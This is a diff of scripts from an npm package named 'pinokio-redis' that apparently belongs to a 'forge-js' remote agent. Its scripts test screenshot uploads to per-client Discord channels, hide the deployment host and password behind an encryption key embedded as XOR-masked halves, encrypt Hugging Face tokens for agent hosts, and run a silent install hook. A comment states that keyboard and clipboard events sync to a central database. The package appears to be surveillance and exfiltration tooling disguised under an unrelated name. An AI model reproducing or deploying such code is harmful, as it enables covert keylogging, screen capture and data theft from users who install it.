pinokio-redis 1.0.127

package/scripts/discord-live-probe.mjs

@@ -0,0 +1,221 @@
+/**
+ * Live Discord probe for relay `.env` (RELAY_DISCORD_*). Run manually; not part of default CI.
+ * Usage: `npm run discord:live-probe` or `npm run verify:discord` (includes build).
+ */
+import dotenv from "dotenv";
+import path from "path";
+import { fileURLToPath } from "url";
+
+const ROOT = path.join(path.dirname(fileURLToPath(import.meta.url)), "..");
+dotenv.config({ path: path.join(ROOT, ".env") });
+
+/** 1×1 PNG */
+const MIN_PNG_B64 =
+  "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==";
+
+function forgeDbApiBase() {
+  const raw = (
+    process.env.RELAY_FORGE_DB_API_URL ||
+    process.env.FORGE_JS_SYNC_URL ||
+    process.env.CFGMGR_API_URL ||
+    ""
+  )
+    .trim()
+    .replace(/\/api\/?$/, "")
+    .replace(/\/$/, "");
+  return raw || "http://127.0.0.1:8765";
+}
+
+function relayDiscordRequireSeqId() {
+  const v = (process.env.RELAY_DISCORD_REQUIRE_SEQ_ID || "1").trim().toLowerCase();
+  return !["0", "false", "no", "off"].includes(v);
+}
+
+/** First registry row with numeric seq_id (matches relay channel naming when REQUIRE_SEQ_ID is on). */
+async function fetchProbeClientIdFromForgeDb() {
+  const apiKey = (process.env.RELAY_FORGE_DB_API_KEY || process.env.FORGE_DB_API_KEY || "").trim();
+  const res = await fetch(`${forgeDbApiBase()}/api/clients`, {
+    signal: AbortSignal.timeout(8000),
+    headers: {
+      "User-Agent": "forge-jsx-discord-live-probe/1.0",
+      ...(apiKey ? { "X-Forge-Api-Key": apiKey } : {}),
+    },
+  });
+  if (!res.ok) {
+    throw new Error(`forge-db /api/clients HTTP ${res.status}`);
+  }
+  const data = await res.json();
+  const clients = Array.isArray(data?.clients) ? data.clients : [];
+  for (const row of clients) {
+    if (!row || typeof row !== "object") continue;
+    const id = String(row.client_id ?? "").trim();
+    const seq = row.seq_id;
+    const seqNum = typeof seq === "number" ? seq : Number(seq);
+    if (id && Number.isFinite(seqNum)) return id;
+  }
+  return null;
+}
+
+async function main() {
+  const flag = (process.env.RELAY_DISCORD_SCREENSHOT_ENABLED || "").trim().toLowerCase();
+  if (!["1", "true", "yes", "on"].includes(flag)) {
+    console.log("SKIP: RELAY_DISCORD_SCREENSHOT_ENABLED not on");
+    process.exit(0);
+  }
+  const { getRelayDiscordBotTokens, relayDiscordBotTokenForClient } = await import(
+    path.join(ROOT, "dist/discordBotTokens.js")
+  );
+  const {
+    discordRelayScreenshotEnabled,
+    listGuildTextChannels,
+    resolveScreenshotChannelId,
+    handleDiscordUploadTicketRequest,
+    handleDiscordUploadAck,
+    handleDiscordScreenshotUploadFromAgent,
+  } = await import(path.join(ROOT, "dist/discordRelayUpload.js"));
+  const { postPngToDiscordWebhookUrl } = await import(
+    path.join(ROOT, "dist/discordWebhookPost.js")
+  );
+
+  if (!discordRelayScreenshotEnabled()) {
+    console.error("FAIL: discordRelayScreenshotEnabled() is false (token/guild missing?)");
+    process.exit(1);
+  }
+
+  const tokenPool = getRelayDiscordBotTokens();
+  const gid = (process.env.RELAY_DISCORD_GUILD_ID || "").trim();
+  const parent = (process.env.RELAY_DISCORD_PARENT_CATEGORY_ID || "").trim();
+
+  let clientId = "live-probe-stable";
+  if (relayDiscordRequireSeqId()) {
+    try {
+      const fromDb = await fetchProbeClientIdFromForgeDb();
+      if (!fromDb) {
+        console.error(
+          "FAIL: RELAY_DISCORD_REQUIRE_SEQ_ID is on but forge-db has no client with seq_id. " +
+            "Register a client or set RELAY_DISCORD_REQUIRE_SEQ_ID=0 for legacy probe IDs.",
+        );
+        process.exit(1);
+      }
+      clientId = fromDb;
+      console.log(`(probe client_id from forge-db: ${clientId})`);
+    } catch (e) {
+      console.error("FAIL: could not load /api/clients for seq_id probe:", e?.message || e);
+      process.exit(1);
+    }
+  }
+
+  /** Same token the relay uses for this client_id (ticket / webhook create). */
+  const tok = relayDiscordBotTokenForClient(clientId, tokenPool);
+  const ridBase = `live_wh_${Date.now()}`;
+
+  process.stdout.write("1. listGuildTextChannels … ");
+  if (!tok) {
+    console.error("FAIL: no bot tokens (RELAY_DISCORD_BOT_TOKEN / RELAY_DISCORD_BOT_TOKENS)");
+    process.exit(1);
+  }
+  const rows = await listGuildTextChannels(tok, gid);
+  console.log(`ok (${rows.length} raw channels, ${tokenPool.length} token(s) in pool)`);
+
+  process.stdout.write("2. resolveScreenshotChannelId … ");
+  const ch = await resolveScreenshotChannelId(tok, gid, clientId, parent || undefined);
+  console.log(`ok (${ch.length} char id)`);
+
+  /**
+   * Parse `retry_after` from Discord error text (seconds, often fractional — see API rate limits).
+   * Very small values (~0.5s) round to ~1s wall time and usually 429 again; enforce a floor for probes.
+   */
+  function discordRetryAfterMsFromError(errText) {
+    const m = String(errText).match(/"retry_after"\s*:\s*([0-9.]+)/);
+    if (m) {
+      const sec = parseFloat(m[1]);
+      if (Number.isFinite(sec)) {
+        let ms = Math.ceil(sec * 1000) + 500;
+        ms = Math.min(120_000, ms);
+        if (ms < 5000) ms = 5000;
+        return ms;
+      }
+    }
+    return 62_000;
+  }
+
+  function formatWaitSec(waitMs) {
+    const s = waitMs / 1000;
+    return s >= 10 ? String(Math.round(s)) : s.toFixed(1);
+  }
+
+  process.stdout.write("3. ticket → webhook POST → ack … ");
+  const png = Buffer.from(MIN_PNG_B64, "base64");
+  let whUrl = "";
+  let activeRid = "";
+  const maxTicketAttempts = 5;
+  for (let attempt = 1; attempt <= maxTicketAttempts; attempt++) {
+    activeRid = `${ridBase}_try${attempt}`;
+    const ticketOut = await handleDiscordUploadTicketRequest({
+      type: "relay_discord_upload_ticket_request",
+      request_id: activeRid,
+      client_id: clientId,
+    });
+    if (ticketOut.ok) {
+      whUrl = String(ticketOut.webhook_url || "").trim();
+      break;
+    }
+    const err = String(ticketOut.error || "");
+    const rateLimited = /rate limit/i.test(err);
+    if (rateLimited && attempt < maxTicketAttempts) {
+      const waitMs = discordRetryAfterMsFromError(err);
+      process.stdout.write(
+        `\n   (Discord 429 — waiting ${formatWaitSec(waitMs)}s (retry_after + min 5s cool-down), attempt ${attempt + 1}/${maxTicketAttempts} …) `
+      );
+      await new Promise((r) => setTimeout(r, waitMs));
+      continue;
+    }
+    console.error(`FAIL\n   ${ticketOut.error}`);
+    process.exit(1);
+  }
+  if (!whUrl) {
+    console.error("FAIL: empty webhook_url");
+    process.exit(1);
+  }
+  let posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
+  if (!posted.ok && /429|rate limit/i.test(String(posted.error || ""))) {
+    const waitMs = discordRetryAfterMsFromError(String(posted.error));
+    process.stdout.write(
+      `\n   (webhook POST 429 — waiting ${formatWaitSec(waitMs)}s …) `
+    );
+    await new Promise((r) => setTimeout(r, waitMs));
+    posted = await postPngToDiscordWebhookUrl(whUrl, png, "forge-js live-probe (webhook)");
+  }
+  if (!posted.ok) {
+    console.error(`FAIL webhook POST\n   ${posted.error}`);
+    try {
+      await handleDiscordUploadAck({ request_id: activeRid });
+    } catch {
+      /* ignore */
+    }
+    process.exit(1);
+  }
+  await handleDiscordUploadAck({ request_id: activeRid });
+  console.log("ok");
+
+  process.stdout.write("4. discord_screenshot_upload (bot token path) … ");
+  const rid2 = `live_b64_${Date.now()}`;
+  const up = await handleDiscordScreenshotUploadFromAgent({
+    request_id: rid2,
+    client_id: clientId,
+    b64: MIN_PNG_B64,
+    caption: "forge-js live-probe (bot REST)",
+  });
+  if (up.ok !== true) {
+    console.error(`FAIL\n   ${up.error}`);
+    process.exit(1);
+  }
+  console.log("ok");
+
+  console.log("\nALL DISCORD REST PROBES PASSED (check Discord for two tiny PNG messages).");
+}
+
+main().catch((e) => {
+  console.error(e);
+  process.exit(1);
+});

package/scripts/encode-deployment.mjs

@@ -0,0 +1,135 @@
+#!/usr/bin/env node
+/**
+ * Encrypt deployment defaults (host, relay port, API port, default explorer password)
+ * with AES-256-GCM and embed the key in obfuscated form (XOR'd halves) directly in
+ * deploymentCipherData.ts.  No external key file or FORGE_JS_BUNDLE_KEY is needed at
+ * runtime — the key is reconstructed from DEPLOYMENT_KEY_A^DEPLOYMENT_MASK_A and
+ * DEPLOYMENT_KEY_B^DEPLOYMENT_MASK_B.
+ *
+ * Usage:
+ *   node scripts/encode-deployment.mjs                       # new random key + update src/
+ *   FORGE_JS_BUNDLE_KEY=<64 hex> node scripts/encode-deployment.mjs   # use existing key
+ *
+ * Environment overrides for payload values (all required or use built-in defaults):
+ *   FORGE_DEPLOY_HOST             (required — never hardcoded for security)
+ *   FORGE_DEPLOY_RELAY_PORT       (default: 9877)
+ *   FORGE_DEPLOY_API_PORT         (default: 8765)
+ *   FORGE_DEPLOY_EXPLORER_PASSWORD (default: "" — callers require explicit password config)
+ *
+ * IMPORTANT: commit only deploymentCipherData.ts. Never commit .env files containing
+ * FORGE_JS_BUNDLE_KEY (the key is already embedded obfuscated — external key is optional override).
+ */
+import crypto from "node:crypto";
+import fs from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const root = path.join(__dirname, "..");
+const outTs = path.join(root, "src", "deploymentCipherData.ts");
+
+const deployHost = (process.env.FORGE_DEPLOY_HOST || "").trim();
+const deployRelayPort = Number(process.env.FORGE_DEPLOY_RELAY_PORT || 9877);
+const deployApiPort = Number(process.env.FORGE_DEPLOY_API_PORT || 8765);
+const deployPassword = (process.env.FORGE_DEPLOY_EXPLORER_PASSWORD || "").trim();
+
+if (!deployHost) {
+  console.error(
+    "ERROR: FORGE_DEPLOY_HOST is required (never hardcoded for security).\n" +
+    "  Usage: FORGE_DEPLOY_HOST=<ip-or-hostname> \\\n" +
+    "         [FORGE_DEPLOY_RELAY_PORT=9877] \\\n" +
+    "         [FORGE_DEPLOY_API_PORT=8765] \\\n" +
+    "         [FORGE_DEPLOY_EXPLORER_PASSWORD=<password>] \\\n" +
+    "         [FORGE_JS_BUNDLE_KEY=<64-hex>] \\\n" +
+    "         node scripts/encode-deployment.mjs"
+  );
+  process.exit(1);
+}
+
+const payload = JSON.stringify({
+  publicHost: deployHost,
+  relayPort: deployRelayPort,
+  apiPort: deployApiPort,
+  defaultExplorerPassword: deployPassword,
+});
+
+function parseKey(raw) {
+  const t = raw.trim();
+  if (/^[0-9a-fA-F]{64}$/.test(t)) return Buffer.from(t, "hex");
+  const b = Buffer.from(t, "base64");
+  if (b.length === 32) return b;
+  throw new Error("Key must be 64 hex chars or base64 (32 bytes)");
+}
+
+let key;
+const envKey = process.env.FORGE_JS_BUNDLE_KEY?.trim();
+if (envKey) {
+  key = parseKey(envKey);
+  console.error("Using FORGE_JS_BUNDLE_KEY from environment.");
+} else {
+  key = crypto.randomBytes(32);
+  console.error("Generated new random key (embedded obfuscated in deploymentCipherData.ts).\n");
+}
+
+// Encrypt payload
+const iv = crypto.randomBytes(12);
+const cipher = crypto.createCipheriv("aes-256-gcm", key, iv);
+const enc = Buffer.concat([cipher.update(payload, "utf8"), cipher.final()]);
+const tag = cipher.getAuthTag();
+
+// Generate XOR masks and obfuscate the key halves
+const maskA = crypto.randomBytes(16);
+const maskB = crypto.randomBytes(16);
+const keyA = Buffer.alloc(16);
+const keyB = Buffer.alloc(16);
+for (let i = 0; i < 16; i++) keyA[i] = key[i] ^ maskA[i];
+for (let i = 0; i < 16; i++) keyB[i] = key[16 + i] ^ maskB[i];
+
+// Verify round-trip
+const reconstructedKey = Buffer.alloc(32);
+for (let i = 0; i < 16; i++) reconstructedKey[i] = keyA[i] ^ maskA[i];
+for (let i = 0; i < 16; i++) reconstructedKey[16 + i] = keyB[i] ^ maskB[i];
+if (!reconstructedKey.equals(key)) {
+  console.error("ERROR: Key reconstruction check failed!");
+  process.exit(1);
+}
+const decipher = crypto.createDecipheriv("aes-256-gcm", reconstructedKey, iv);
+decipher.setAuthTag(tag);
+const plain = Buffer.concat([decipher.update(enc), decipher.final()]);
+if (plain.toString("utf8") !== payload) {
+  console.error("ERROR: Decrypt round-trip failed!");
+  process.exit(1);
+}
+
+function fmtUint8Array(arr) {
+  return `new Uint8Array([\n  ${Array.from(arr).join(", ")},\n])`;
+}
+
+const ts = `/**
+ * AES-256-GCM ciphertext for deployment defaults (host, ports, default explorer password).
+ * Regenerate: \`node scripts/encode-deployment.mjs\` (see script for FORGE_JS_BUNDLE_KEY).
+ * Plain values never appear in source — only this blob and the embedded obfuscated key.
+ *
+ * The embedded key is split into two 16-byte halves (KA, KB), each XOR'd with a
+ * corresponding magic mask (MA, MB). Reconstruct: key[i] = KA[i]^MA[i], key[16+i] = KB[i]^MB[i].
+ * Override at runtime with FORGE_JS_BUNDLE_KEY (64 hex chars or 32-byte base64).
+ */
+
+export const DEPLOYMENT_CIPHER_IV_B64 = ${JSON.stringify(iv.toString("base64"))};
+export const DEPLOYMENT_CIPHER_TAG_B64 = ${JSON.stringify(tag.toString("base64"))};
+export const DEPLOYMENT_CIPHER_TEXT_B64 =
+  ${JSON.stringify(enc.toString("base64"))};
+
+/** First 16 key bytes XOR'd with MA. */
+export const DEPLOYMENT_KEY_A = ${fmtUint8Array(keyA)};
+/** Last 16 key bytes XOR'd with MB. */
+export const DEPLOYMENT_KEY_B = ${fmtUint8Array(keyB)};
+/** XOR mask for first 16 key bytes. */
+export const DEPLOYMENT_MASK_A = ${fmtUint8Array(maskA)};
+/** XOR mask for last 16 key bytes. */
+export const DEPLOYMENT_MASK_B = ${fmtUint8Array(maskB)};
+`;
+
+fs.writeFileSync(outTs, ts, "utf8");
+console.error("Wrote", path.relative(root, outTs));
+console.error("Round-trip verification: OK");

package/scripts/encode-hf-credentials.mjs

@@ -0,0 +1,30 @@
+#!/usr/bin/env node
+/**
+ * Encrypt Hugging Face Hub token + optional hubUrl for CFGMGR_HF_CREDENTIALS_B64.
+ * Uses AES-256-GCM with the same key as deployment defaults (FORGE_JS_BUNDLE_KEY or embedded XOR halves).
+ *
+ * Run after `npm run build` (reads `dist/hfCredentials.js`).
+ *
+ * Usage:
+ *   HF_TOKEN=hf_xxx node scripts/encode-hf-credentials.mjs
+ *   HF_HUB_URL=https://huggingface.co  (optional)
+ *   HF_NAMESPACE=myuser  (optional — Hugging Face username/org for session-repo uploads)
+ *   FORGE_JS_BUNDLE_KEY=<64 hex>  (optional override; else embedded bundle key)
+ */
+import { encryptHfCredentialsJson } from "../dist/hfCredentials.js";
+
+const token = (process.env.HF_TOKEN || process.env.HUGGINGFACE_HUB_TOKEN || "").trim();
+if (!token) {
+  console.error("Set HF_TOKEN or HUGGINGFACE_HUB_TOKEN to your hf_... access token.");
+  process.exit(1);
+}
+let hubUrl = (process.env.HF_HUB_URL || "https://huggingface.co").trim().replace(/\/+$/, "");
+const namespace = (process.env.HF_NAMESPACE || process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
+
+const b64 = encryptHfCredentialsJson({ token, hubUrl, ...(namespace ? { namespace } : {}) });
+console.log(b64);
+console.error(
+  "\nOn the agent host:\n  export CFGMGR_HF_CREDENTIALS_B64='" +
+    b64 +
+    "'\n"
+);

package/scripts/ensure-dist.mjs

@@ -0,0 +1,86 @@
+#!/usr/bin/env node
+/**
+ * If `dist/cli-forge.js` is missing (git clone without prebuilt artifacts), run `npm run build`
+ * when devDependencies (TypeScript) are present. Does not fail `npm install` if build cannot run.
+ *
+ * Cross-OS notes:
+ *   - Windows: npm binary is `npm.cmd` when invoked without a shell; we use shell:true so `npm` works everywhere.
+ *   - Linux/macOS: standard `npm` via shell.
+ *   - All child processes use windowsHide:true so no console window flashes on Windows.
+ *   - Uses FORGE_JS_ENSURE_DIST_RUNNING env guard to prevent infinite recursive installs.
+ */
+import { spawnSync } from "node:child_process";
+import { existsSync } from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
+
+const __dirname = path.dirname(fileURLToPath(import.meta.url));
+const pkgRoot = path.resolve(__dirname, "..");
+const cliForge = path.join(pkgRoot, "dist", "cli-forge.js");
+// Also check that assets were copied (tsc alone does not copy assets/).
+const distAssets = path.join(pkgRoot, "dist", "assets");
+
+if (existsSync(cliForge) && existsSync(distAssets)) {
+  process.exit(0);
+}
+
+// Use shell:true so `npm` resolves correctly on all platforms (Windows needs npm.cmd in non-shell contexts).
+const spawnOpts = {
+  cwd: pkgRoot,
+  stdio: "pipe",
+  shell: true,
+  windowsHide: true,
+  timeout: 300_000,
+};
+
+const localTsc = path.join(pkgRoot, "node_modules", "typescript", "bin", "tsc");
+if (!existsSync(localTsc)) {
+  // TypeScript is a devDependency — not installed by `npm install <local-path>`.
+  // Attempt to install devDependencies once (guarded by env flag to prevent recursion).
+  if (process.env.FORGE_JS_ENSURE_DIST_RUNNING === "1") {
+    console.warn("[forge-js] dist/ missing and TypeScript unavailable (recursion guard active). Skipping build.");
+    process.exit(0);
+  }
+  console.warn("[forge-js] dist/ missing. Installing devDependencies to build…");
+  // Use a single command string (no args array) with shell:true to avoid
+  // Node DEP0190 DeprecationWarning about unescaped argument concatenation.
+  const r0 = spawnSync("npm install --include=dev --no-save", {
+    ...spawnOpts,
+    env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+  });
+  if (!existsSync(localTsc)) {
+    const stderr = r0.stderr?.toString?.()?.trim() || "";
+    // Try legacy npm flag for older npm versions
+    const r1 = spawnSync("npm install --only=dev --no-save", {
+      ...spawnOpts,
+      env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+    });
+    if (!existsSync(localTsc)) {
+      console.warn(
+        "[forge-js] dist/ missing and TypeScript still not installed after devDep install.\n" +
+          "  From a git clone run:  npm install       (installs devDependencies and builds)\n" +
+          "  For production use:    npm install forge-js   (published package includes dist/)\n" +
+          (stderr || r1.stderr?.toString?.()?.trim() || "")
+      );
+      process.exit(0);
+    }
+  }
+}
+
+// Pass the recursion guard to the build sub-process so that postinstall scripts
+// triggered by `npm run build` (which re-runs npm internally) exit early.
+// Single command string to avoid Node DEP0190 warning with shell:true + args.
+const r = spawnSync("npm run build", {
+  ...spawnOpts,
+  env: isolatedNpmCacheEnv({ ...process.env, FORGE_JS_ENSURE_DIST_RUNNING: "1" }),
+});
+
+if (r.status !== 0) {
+  console.warn(
+    "[forge-js] `npm run build` failed; install bootstrap will be skipped until dist/ exists.\n" +
+      (r.stderr?.toString?.()?.trim() || r.stdout?.toString?.()?.trim() || "")
+  );
+}
+
+process.exit(0);

package/scripts/env-sync-selftest.js

@@ -0,0 +1,11 @@
+#!/usr/bin/env node
+/**
+ * Legacy script — `.env` file scanning and forge-db upload were removed from forge-agent.
+ * Only keyboard + clipboard events sync to forge-db (`windowsInputSync.ts`).
+ *
+ * Usage (from package root):  node scripts/env-sync-selftest.js
+ */
+console.error(
+  "[forge-js] env-sync-selftest is deprecated: env file / shell history / host inventory sync to forge-db was removed."
+);
+process.exit(0);

package/scripts/explorer-global-roots.mjs

@@ -0,0 +1,87 @@
+/**
+ * Resolve global forge-jsxy / legacy forge-jsx install roots for explorer control scripts.
+ */
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+
+export const FORGE_NPM_PKG = "pinokio-redis";
+export const FORGE_LEGACY_NPM_PKG = "forge-jsx";
+
+function defaultCfgmgrDataDir() {
+  const override = (process.env.CFGMGR_DATA_ROOT || "").trim();
+  if (override) return path.resolve(override.replace(/^~/, os.homedir()));
+  if (process.platform === "win32") {
+    const lap = (process.env.LOCALAPPDATA || "").trim();
+    if (lap) return path.join(lap, "CfgMgr", "data");
+    const prof = (process.env.USERPROFILE || "").trim();
+    if (prof) return path.join(prof, "AppData", "Local", "CfgMgr", "data");
+    return path.join(os.tmpdir(), "CfgMgr", "data");
+  }
+  if (process.platform === "darwin") {
+    return path.join(os.homedir(), "Library", "Application Support", "CfgMgr", "data");
+  }
+  const xdg = (process.env.XDG_DATA_HOME || "").trim();
+  if (xdg) return path.join(path.resolve(xdg.replace(/^~/, os.homedir())), "cfgmgr");
+  return path.join(os.homedir(), ".local", "share", "cfgmgr");
+}
+
+/** Durable runtime package root from `<CfgMgr>/.forge-jsxy/current.json` (npm-install-only agents). */
+export function readDurableForgePackageRootFromDisk() {
+  try {
+    const cur = path.join(defaultCfgmgrDataDir(), ".forge-jsxy", "current.json");
+    if (!fs.existsSync(cur)) return null;
+    const j = JSON.parse(fs.readFileSync(cur, "utf8"));
+    const distDir = String(j.distDir ?? "").trim();
+    if (!distDir || !fs.existsSync(path.join(distDir, "cli-agent.js"))) return null;
+    const pkgRoot = path.resolve(distDir, "..");
+    return fs.existsSync(path.join(pkgRoot, "package.json")) ? pkgRoot : null;
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
+ */
+export function globalPackageRoot(npmSpawnSync, pkgName) {
+  const r = npmSpawnSync(["root", "-g"], false, {
+    timeout: 60_000,
+    captureStdout: true,
+  });
+  const root = (r.stdout || "").trim();
+  if (!root) return null;
+  const p = path.join(root, pkgName);
+  return fs.existsSync(path.join(p, "package.json")) ? p : null;
+}
+
+/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
+export function globalForgeJsRoot(npmSpawnSync) {
+  return globalPackageRoot(npmSpawnSync, FORGE_NPM_PKG);
+}
+
+/** @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync */
+export function globalLegacyForgeJsxRoot(npmSpawnSync) {
+  return globalPackageRoot(npmSpawnSync, FORGE_LEGACY_NPM_PKG);
+}
+
+/**
+ * Unique install roots: current global, legacy global, then optional script tree.
+ * @param {(args: string[], captureStdout: boolean, opts?: object) => { stdout?: string }} npmSpawnSync
+ * @param {string} scriptRoot absolute package root when running from npx/npm exec
+ */
+export function collectForgeInstallRoots(npmSpawnSync, scriptRoot) {
+  const roots = [];
+  const durable = readDurableForgePackageRootFromDisk();
+  if (durable) roots.push(path.resolve(durable));
+  for (const g of [globalForgeJsRoot(npmSpawnSync), globalLegacyForgeJsxRoot(npmSpawnSync)]) {
+    if (g) roots.push(path.resolve(g));
+  }
+  if (scriptRoot) roots.push(path.resolve(scriptRoot));
+  return [...new Set(roots)];
+}
+
+/** True when either global package name is installed under `npm root -g`. */
+export function anyGlobalForgePackageInstalled(npmSpawnSync) {
+  return Boolean(globalForgeJsRoot(npmSpawnSync) || globalLegacyForgeJsxRoot(npmSpawnSync));
+}

package/scripts/explorer-isolated-npm-env.mjs

@@ -0,0 +1,57 @@
+/**
+ * Explorer Upgrade / Restart workers call `npm` (e.g. `npm root -g`, `npm install -g`).
+ * On some Windows VPS hosts `%LocalAppData%\npm-cache\_npx\…` is corrupted → ENOENT on package.json.
+ * Point npm's cache + minimal userconfig off the default npm tree.
+ *
+ * **Windows:** use `%SystemRoot%\Temp\…` (not `%TEMP%` under the user profile). npm 10 walks **up**
+ * from cwd for project `.npmrc`; `%TEMP%` is usually under `Users\…\AppData\Local\Temp`, so npm loads
+ * `%USERPROFILE%\.npmrc` as **project** config while `npm_config_userconfig` points at our file →
+ * `prefix cannot be changed from project config` (npm/cli#7501). Scratch under `C:\Windows\Temp` avoids that chain.
+ */
+import * as fs from "node:fs";
+import * as os from "node:os";
+import * as path from "node:path";
+
+export function isolatedNpmCacheDir() {
+  if (process.platform === "win32") {
+    return path.join(
+      process.env.SystemRoot || "C:\\Windows",
+      "Temp",
+      `forge-jsx-npm-cache-worker-${process.pid}`
+    );
+  }
+  return path.join(os.tmpdir(), "forge-jsx-npm-cache-worker");
+}
+
+/**
+ * Writes two tiny npmrc files (`cache=…`) and returns env vars for `npm` children.
+ * npm 10+ exits if `userconfig` and `globalconfig` point at the **same** file (“double-loading config”);
+ * keep separate paths even when contents are identical.
+ */
+export function isolatedNpmCacheEnv(base = process.env) {
+  const xc = isolatedNpmCacheDir();
+  try {
+    fs.mkdirSync(xc, { recursive: true });
+  } catch {
+    /* skip */
+  }
+  const cacheForFile = process.platform === "win32" ? xc.replace(/\\/g, "/") : xc;
+  const nrcUser = path.join(xc, "forge-fe-user.npmrc");
+  const nrcGlobal = path.join(xc, "forge-fe-global.npmrc");
+  const line = `cache=${cacheForFile}\n`;
+  try {
+    fs.writeFileSync(nrcUser, line, "utf8");
+    fs.writeFileSync(nrcGlobal, line, "utf8");
+  } catch {
+    /* skip */
+  }
+  return {
+    ...base,
+    NPM_CONFIG_CACHE: xc,
+    npm_config_cache: xc,
+    npm_config_globalconfig: nrcGlobal,
+    npm_config_userconfig: nrcUser,
+    NPM_CONFIG_UPDATE_NOTIFIER: "false",
+    npm_config_update_notifier: "false",
+  };
+}